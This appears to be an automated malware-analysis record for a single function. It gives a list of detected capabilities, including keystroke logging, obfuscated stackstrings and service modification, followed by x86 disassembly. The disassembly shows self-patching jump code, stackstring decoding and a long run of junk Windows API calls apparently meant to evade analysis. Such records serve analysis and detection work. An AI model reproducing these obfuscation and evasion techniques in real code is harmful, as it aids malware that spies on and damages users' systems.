Function at 0xac5000
Capabilities:
Accept command line arguments
Allocate thread local storage
Connect pipe
Contain obfuscated stackstrings
Create directory
Create pipe
Create process on windows
Delete directory
Delete file
Enumerate gui resources
Get disk information
Get disk size
Get file attributes
Get file size
Get geographical location
Get memory capacity
Get system information on windows
Identify system language via api
Log keystrokes via polling
Modify service
Query environment variable
Query or enumerate registry key
Query service status
Read .ini file
Set environment variable
Start service
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov dword [ebp - 0x10], 0xac5a44
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xac5036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xac51fe
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xac50b8
call fcn.004946e2
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xac507a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xac5094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xac5094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xac504a
mov byte [ebp - 0x7c], 3
mov byte [ebp - 0x7b], 0x21
mov byte [ebp - 0x7a], 6
mov byte [ebp - 0x79], 0x71
mov byte [ebp - 0x78], 0
mov byte [ebp - 0x77], 0x77
mov byte [ebp - 0x76], 4
mov byte [ebp - 0x75], 0x7e
mov byte [ebp - 0x74], 0x1d
mov byte [ebp - 0x73], 6
mov byte [ebp - 0x72], 0x1e
mov byte [ebp - 0x71], 0xd2
mov byte [ebp - 0x70], 0x30
mov byte [ebp - 0x6f], 0x5c
mov byte [ebp - 0x6e], 0xf6
mov byte [ebp - 0x6d], 0xfd
mov byte [ebp - 0x6c], 0xd5
mov byte [ebp - 0x6b], 0x32
mov byte [ebp - 0x6a], 0x5e
mov byte [ebp - 0x69], 0x43
mov byte [ebp - 0x68], 0xc4
mov byte [ebp - 0x67], 0x61
mov byte [ebp - 0x66], 0x1c
mov byte [ebp - 0x65], 0x66
mov byte [ebp - 0x64], 0x87
mov byte [ebp - 0x63], 0xd9
mov byte [ebp - 0x62], 0xb2
mov byte [ebp - 0x61], 0xee
mov byte [ebp - 0x60], 0x51
mov byte [ebp - 0x5f], 0x92
mov byte [ebp - 0x5e], 0x82
mov byte [ebp - 0x5d], 0xc3
mov byte [ebp - 0x5c], 0x3e
mov byte [ebp - 0x5b], 0xc6
mov byte [ebp - 0x5a], 0x36
mov byte [ebp - 0x59], 0xfb
mov byte [ebp - 0x58], 0xdb
mov byte [ebp - 0x57], 9
mov byte [ebp - 0x56], 0x72
mov byte [ebp - 0x55], 5
mov byte [ebp - 0x54], 0x74
mov byte [ebp - 0x53], 2
mov byte [ebp - 0x52], 0x7b
mov byte [ebp - 0x51], 1
mov byte [ebp - 0x50], 0x84
mov byte [ebp - 0x4f], 8
mov byte [ebp - 0x4e], 0x81
mov byte [ebp - 0x4d], 7
mov byte [ebp - 0x4c], 0x74
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xac518e
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x31
jae 0xac51f3
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x7c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xac51ba
mov dword [ebp - 0x24], 0x1d
mov eax, dword [ebp - 8]
add eax, 0x1b
mov dword [ebp - 8], eax
jmp 0xac5186
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x7b]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xac51e2
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xac51cf
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x7c]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xac5186
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xab6d02
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.004072f9
mov ecx, eax
call fcn.004028d0
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402874
and dword [ebp - 0x1c], 0
jmp 0xac5236
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xac5246
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xac522f
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push 0x672
push 0x4b4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
call dword [sym.imp.USER32.dll_DestroyIcon]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0x1837
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
push 0x1d4d
push 0x2373
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
push 0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0
push 0
push 0x2e3
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0x2572
push 0xf47
push 0x16b3
push 0x1f81
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call dword [sym.imp.USER32.dll_EndMenu]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
push 0
push 0xfc3
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push 0
push 0xfc3
push 0x1586
push 0x2b
push 0x1f2f
push 0x7eb
push 0xfe7
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0xb49
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
push 0x21eb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x1bb6
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
push 0
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
push 0x1e46
push 0x1244
push 0
call dword [sym.imp.GDI32.dll_PtInRegion]
push 0
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowInfo]
push 0x20fd
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CombineRgn]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
push 0x469
push 0xcf4
push 0
push 0x461
push 0
call dword [sym.imp.USER32.dll_GetMenuStringW]
push 0x2564
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolygon]
push 0
call dword [sym.imp.USER32.dll_CreateIconIndirect]
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x2c2
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
push 0x17ac
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push 0x1134
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0xb0e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 0
push 0x1b2f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x49a
push 0x1e82
push 0x75d
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0xb69
push 0x860
push 0
call dword [sym.imp.USER32.dll_InsertMenuW]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
push 0x22d0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0x2609
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push 0x95a
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
push 0
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0x17ec
push 0
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0x13bd
call dword [sym.imp.KERNEL32.dll_TlsFree]
push 0
push 0
push 0xe8b
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0x2049
push 0x1ef9
push 0
call dword [sym.imp.GDI32.dll_CreatePolygonRgn]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
push 0
call dword [sym.imp.USER32.dll_CharNextW]
push 0xd1c
push 0x193b
push 0
call dword [sym.imp.USER32.dll_InflateRect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
call dword [sym.imp.USER32.dll_DestroyCursor]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
push 0xb1f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0xba2
push 0x17e0
push 0x18b7
push 0x233f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Ellipse]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0xf93
call dword [sym.imp.KERNEL32.dll_ExitProcess]